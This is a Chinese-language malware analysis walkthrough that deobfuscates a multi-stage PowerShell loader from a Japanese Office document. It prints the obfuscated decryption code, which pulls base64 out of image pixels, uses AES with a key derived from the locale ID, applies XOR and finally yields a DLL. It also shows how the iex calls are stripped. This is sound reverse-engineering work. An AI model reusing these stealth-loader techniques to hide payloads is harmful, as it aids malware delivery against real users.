继续分析 4 个要下载的文件的列表。
下载到本地继续分析。
下载文件后,它将使用该函数提取每个像素以及 B 和 G 颜色值,进行数学运算然后作为字符输出。
之后,它将传递从像素解码的 base64 字符串和 ([System.Version]).”nAME” 的结果,其计算结果为“Version”。该值用作解密中的密钥。
解密函数将使用派生密钥函数中 base64 编码数据的前 32 个字节。它还将使用传递的键值。HMAC 部分并不是真正需要正确解密数据。然后我们使用 RijndaelManaged 解密。
如果数据被正确解密,我们就会得到第一个字节 0x1F。这也告诉我们,无需查看其余代码,这就是 GZip 压缩数据输出。
虽然仍在解密函数中,但它会在返回另一个 base64 字符串之前对数据进行 GZip 解压缩。
更改脚本,更改为本地地址搭建个http服务端,再接着删除&("{1}{0}" -f 'X','IE')
字符,因该函数为iex执行,删除后就可以直接输出结果。
输出内容。
看到$Fghg将被设置为一个值,需要 LCID,而文档为日语。则需找到日语的LCID即可
而LCID为1041
第一个值为408
则更改脚本如下,并去掉iex输出变量okkiis的值即可
同时再增加前面脚本的func OtTAsS和func bAvV
即如下完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| $MmUz='base64 code'; &'sal' oM new-ObJeCT;.'Add-Type' -AssemblyName 'System.Drawing'; function OtTAsS {param ([String]${IgAa}, [String]${pcxC})${byTuRo} = [Convert]::"FROmBASe64string"(${IGAA}); ${TlAS} = &('Om') bYtE[](32);[Array]::"CoPy"(${bYTuRo}, 0, ${TLaS}, 0, 32); ${rcxz0} = .('Om') SystEM.sEcURITY.cRyptOgRAPhY.RfC2898deRIVeBYtEs(${PCxc},${tLAS}); ${Xa2d} = ${rCxZ0}."GEtBYTES"(32); ${DEfS} = ${Rcxz0}."geTbyTES"(16); ${HmaC} = .('Om') sYsTEM.sEcUrItY.CRYPtOgRapHY.HMAcSHA1(,${rcxz0}."getBYtes"(20)); ${eedER} = ${hMAc}."compuTehAsh"(${bytuRO}, 52, ${BYTURO}."LeNGTh" - 52); IF (&'Compare-Object' ${eeDER} (${byTUrO}[32..51]) -SyncWindow 0) {throw ''} ${Aes} = .('Om') sECuRITY.CryPTOgRapHY.rijnDAelMANAgED; ${QAsAq} = ${aES}."cREATeDeCRYPTOr"(${XA2D}, ${deFS}); ${MJOkO} = ${QasAq}."TRaNsFoRmfINALbLOCK"(${bYTUro}, 52, ${BYTuRO}."lenGtH" - 52); ${adAmi} = .('Om') System.Io.meMOrYSTream(${MJOkO}, ${FalSE});
IF (${mjoKO}[0] -eq 0x1f) {${aDaMi} = &('Om') SYsTEM.IO.cOMpRessION.gZIpStReAm(${adami}, [IO.Compression.CompressionMode]::"DEcomPrESS")} ${sTREAMreadEr} = &('Om') sYsTEM.iO.sTrEaMReadEr(${aDAmI}, ${TRUe}); ${sTrEAmrEaDeR}."REAdtOeND"()};
Function bAvV(${t64IN}){${bCzA} = [System.Convert]::"frOmbASe64StrINg"(${T64iN}); ${SeNegS} = [System.Text.Encoding]::"uTf8"."gETSTring"(${bCzA}); return ${SeneGS}};
$Fghg= 408 + 1041; $r44r=Ottass -Igaa $MmUz -Pcxc $Fghg; $OkKiiS=Bavv($r44r); $OkKiiS
|
成功输出为powershell脚本
继续分析powershell脚本输出后的这一部分
|& ((GET-VAriAbLe '*mdR*').NaMe[3,11,2]-JOIn'')
这部分字符串表示为iex,删除即可
解除混淆后为powershell内容,与之前看到的类似
继续去其混淆
最后又是下载图片文件
手工去其混淆如下原理
或可使用工具 PSUnveil
继续修改脚本,可看到提取的结果被传递给值 ${MAGG}。输出${MAGG}即可。
输出为base64
将首先获取系统的 LCID 并将数值转换为字符串,然后将字符串转换为 Char,接下来把从图片文件中提取的base64字符串,Base64解码成一个字节数组。最后,它将通过 LCID值为1041对数据进行xor。
继续进行解码的到一个可执行文件
一个dll文件
参考链接:
https://www.kahusecurity.com/tools.html
https://pcsxcetrasupport3.wordpress.com/2021/12/07/peeling-away-the-layers-of-obfuscation-from-excel-vba-to-dll/
https://docs.microsoft.com/en-us/openspecs/office_standards/ms-oe376/6c085406-a698-4e12-9d4d-c3b0ee3dbc4a